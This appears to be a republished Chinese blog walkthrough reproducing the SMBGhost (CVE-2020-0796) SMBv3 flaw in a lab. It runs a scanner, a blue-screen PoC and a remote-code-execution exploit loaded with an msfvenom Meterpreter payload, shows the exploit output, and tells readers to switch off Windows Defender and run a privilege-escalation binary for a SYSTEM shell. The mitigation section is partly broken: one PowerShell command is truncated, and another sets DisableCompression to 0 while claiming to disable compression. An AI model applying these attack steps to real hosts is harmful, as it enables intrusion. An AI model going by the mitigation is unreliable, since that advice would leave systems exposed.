龙空技术网

CVE-2020-0796 SMBv3漏洞(“永恒之黑”)复现

极氪安全 40

前言:

目前我们对“msf smb漏洞”大致比较看重,我们都想要分析一些“msf smb漏洞”的相关资讯。那么小编也在网上收集了一些对于“msf smb漏洞””的相关知识,希望各位老铁们能喜欢,朋友们一起来了解一下吧!

前言

Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以获取在目标服务器或客户端上执行代码的能力。

漏洞影响版本

漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。

实验环境准备

打开Win10虚拟打开控制面板,关闭防

暂停windows自动更新

查看本机IP

C:\Users\zeeker>ipconfig

Windows IP 配置

以太网适配器 Ethernet0:

连接特定的 DNS 后缀 . . . . . . . : localdomain

本地链接 IPv6 地址. . . . . . . . : fe80::f13b:b0d2:f5f8:f1f0%12

IPv4 地址 . . . . . . . . . . . . : 192.168.50.139

子网掩码 . . . . . . . . . . . . : 255.255.255.0

默认网关. . . . . . . . . . . . . : 192.168.50.2

C:\Users\zeeker>

验证是否存在漏洞

1.下载监测脚本

2.运行

root@kali:~/Desktop/漏洞复现/CVE-2020-0796# python3 scanner.py 192.168.50.134

192.168.50.134 Vulnerable

显示存在该漏洞,继续测试,但这个检测脚本不太靠谱,有时候超时也会判定为存在漏洞,如果打了补丁的系统也可能会显示存在漏洞

3.使用奇安信开发的检测工具

扫原本被SMBGhost判定为Vulnerable的192.168.50.134

换上未修复漏洞的1903版本的Win10

蓝屏验证

小坑

### 如果遇到以下错误

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC# python3 CVE-2020-0796.py 192.168.50.139

Traceback (most recent call last):

File "CVE-2020-0796.py", line 3, in <module>

from smbclient import (

File "/root/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC/smbclient/__init__.py", line 7, in <module>

from smbclient._pool import (

File "/root/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC/smbclient/_pool.py", line 14, in <module>

from smbprotocol.session import (

File "/root/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC/smbprotocol/session.py", line 25, in <module>

from ntlm_auth.ntlm import (

ImportError: cannot import name 'NtlmContext' from 'ntlm_auth.ntlm' (/usr/lib/python3/dist-packages/ntlm_auth/ntlm.py)

### 这是由于 ntlm_auth 版本低了,更新一下就好了

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC# pip3 install --upgrade ntlm-auth

Looking in indexes:

Requirement already satisfied: ntlm-auth in /usr/lib/python3/dist-packages (1.1.0)

Collecting ntlm-auth

Downloading (29 kB)

Installing collected packages: ntlm-auth

Attempting uninstall: ntlm-auth

Found existing installation: ntlm-auth 1.1.0

Uninstalling ntlm-auth-1.1.0:

Successfully uninstalled ntlm-auth-1.1.0

Successfully installed ntlm-auth-1.5.0

WARNING: Running pip as root will break packages and permissions. You should install packages reliably by using venv:

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC#

蓝屏测试

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/CVE-2020-0796-PoC# python3 CVE-2020-0796.py 192.168.50.139

远程代码执行

记得先把Defender全关掉或者卸掉

下载EXP,

替换payload

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o payload

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

Payload size: 496 bytes

Final size of py file: 2424 bytes

Saved as: payload

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/SMBGhost_RCE_PoC#

然后把下载的 exploit.py里的 USER_PAYLOAD部分替换成msfvenom生成的payload

开MSF,跑脚本

root@kali:~# msfconsole

......

### Another Terminal

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/SMBGhost_RCE_PoC# python3 exploit.py -ip 192.168.50.139

[+] found low stub at phys addr 13000!

[+] PML4 at 1ad000

[+] base of HAL heap at fffff79c40000000

[+] found PML4 self-ref entry 1e6

[+] found HalpInterruptController at fffff79c40001478

[+] found HalpApicRequestInterrupt at fffff807540b3bb0

[+] built shellcode!

[+] KUSER_SHARED_DATA PTE at fffff37bc0000000

[+] KUSER_SHARED_DATA PTE NX bit cleared!

[+] Wrote shellcode at fffff78000000950!

[+] Press a key to execute shellcode!

[+] overwrote HalpInterruptController pointer, should have execution shortly...

root@kali:~/Desktop/漏洞复现/CVE-2020-0796/SMBGhost_RCE_PoC#

小坑

### 如果遇到以下错误

[-] physical read primitive failed!

### 不是漏洞被修复了就是没关WindowsDefender就是关了WindowsDefender重启虚拟机又自动开了实时保护

继续

稳定不蓝屏,整挺好

本地提权

提权POC

已编译EXP

要跑这个程序肯定要先把Windows自带的Defender关掉,不然会直接吞掉这个提权程序

然后直接跑起来就能弹一个system权限的命令窗口了

修复建议

(参考微软官方建议,)

1.更新系统

这肯定是最常见也是最简单有效的方法了

2.禁用 SMBv3 压缩

可以使用以下 PowerShell 命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。

Set-ItemProperty -Path

DisableCompression -Type DWORD -Value 1 -Force

注意:

1.进行更改后,无需重启

2.此解决方法不能阻止利用 SMB 客户端;尝试第二种方法以保护客户端

3.Windows 或 Windows Server 尚未使用 SMB 压缩,并且禁用 SMB 压缩不会产生负面的性能影响

可以使用下面的 PowerShell 命令禁用该功能

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

注意:禁用此功能后,无需重启。

标签: #msf smb漏洞